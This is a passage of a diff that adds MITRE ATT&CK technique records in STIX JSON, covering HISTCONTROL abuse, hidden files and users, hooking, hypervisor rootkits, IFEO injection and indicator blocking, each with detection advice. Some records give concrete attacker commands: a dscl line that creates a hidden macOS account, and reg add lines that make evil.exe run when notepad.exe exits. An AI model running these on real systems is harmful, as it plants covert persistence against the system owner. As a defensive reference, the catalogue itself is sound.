"Administrator", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1148", + "source_name": "mitre-attack", + "external_id": "T1148" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host forensic analysis" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Authentication logs", + "File monitoring", + "Environment variable" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "name": "HISTCONTROL", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1200", + "source_name": "mitre-attack", + "external_id": "T1200" + }, + { + "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", + "source_name": "Ossmann Star Feb 2011", + "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018." + }, + { + "url": "http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx", + "source_name": "Aleks Weapons Nov 2015", + "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018." + }, + { + "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained", + "source_name": "Hak5 RubberDuck Dec 2016", + "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018." + }, + { + "url": "https://www.youtube.com/watch?v=fXthwl6ShOg", + "source_name": "Frisk DMA August 2016", + "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018." + }, + { + "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/", + "source_name": "McMillan Pwn March 2012", + "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Asset management", + "Data loss prevention" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "name": "Hardware Additions", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Computer accessories, computers, or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1158", + "source_name": "mitre-attack", + "external_id": "T1158" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017." + }, + { + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "name": "Hidden Files and Directories", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1147", + "source_name": "mitre-attack", + "external_id": "T1147" + }, + { + "url": "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty", + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "name": "Hidden Users", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", + "x_mitre_permissions_required": [ + "Administrator", + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1143", + "source_name": "mitre-attack", + "external_id": "T1143" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "name": "Hidden Window", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1179", + "source_name": "mitre-attack", + "external_id": "T1179" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + }, + { + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", + "source_name": "Adlice Software IAT Hooks Oct 2014", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017." + }, + { + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", + "source_name": "MWRInfoSecurity Dynamic Hooking 2015", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017." + }, + { + "url": "https://www.exploit-db.com/docs/17802.pdf", + "source_name": "HighTech Bridge Inline Hooking Sept 2011", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017." + }, + { + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017." + }, + { + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017." + }, + { + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017." + }, + { + "url": "https://github.com/prekageo/winhook", + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017." + }, + { + "url": "https://github.com/jay/gethooks", + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017." + }, + { + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017." + }, + { + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017." + }, + { + "url": "http://www.gmer.net/", + "source_name": "GMER Rootkits", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", + "source_name": "Microsoft Process Snapshot", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017." + }, + { + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis", + "source_name": "StackExchange Hooks Jul 2012", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows event logs" + ], + "modified": "2019-04-03T15:02:18.662Z", + "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "name": "Hooking", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1062", + "source_name": "mitre-attack", + "external_id": "T1062" + }, + { + "url": "https://capec.mitre.org/data/definitions/552.html", + "source_name": "capec", + "external_id": "CAPEC-552" + }, + { + "url": "http://en.wikipedia.org/wiki/Xen", + "source_name": "Wikipedia Xen", + "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014." + }, + { + "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", + "source_name": "Myers 2007", + "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014." + }, + { + "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html", + "source_name": "virtualization.info 2006", + "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014." + }, + { + "url": "https://en.wikipedia.org/wiki/Hypervisor", + "source_name": "Wikipedia Hypervisor", + "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "System calls" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", + "name": "Hypervisor", + "created": "2017-05-31T21:30:50.958Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1183", + "source_name": "mitre-attack", + "external_id": "T1183" + }, + { + "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", + "source_name": "Microsoft Dev Blog IFEO Mar 2010", + "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017." + }, + { + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", + "source_name": "Microsoft GFlags Mar 2017", + "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017." + }, + { + "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", + "source_name": "FSecure Hupigon", + "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017." + }, + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", + "source_name": "Symantec Ushedix June 2008", + "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017." + }, + { + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", + "source_name": "Microsoft Silent Process Exit NOV 2017", + "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018." + }, + { + "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "source_name": "Oddvar Moe IFEO APR 2018", + "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Autoruns Analysis" + ], + "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "name": "Image File Execution Options Injection", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1054", + "source_name": "mitre-attack", + "external_id": "T1054" + }, + { + "url": "https://capec.mitre.org/data/definitions/571.html", + "source_name": "capec", + "external_id": "CAPEC-571" + }, + { + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A", + "source_name": "Microsoft Lamin Sept 2017", + "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Sensor health and status", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "name": "Indicator Blocking", + "created": "2017-05-31T21:30:47.384Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include modifying sensor settings stored in configuration files and/or Registry keys to disable or maliciously redirect event telemetry. (Citation: Microsoft Lamin Sept 2017)\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Log analysis", + "Host intrusion prevention systems" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1066", + "source_name": "mitre-attack", + "external_id": "T1066" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Process command-line parameters", + "Anti-virus", + "Binary file metadata" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "name": "Indicator Removal from Tools", + "created": "2017-05-31T21:30:54.176Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software 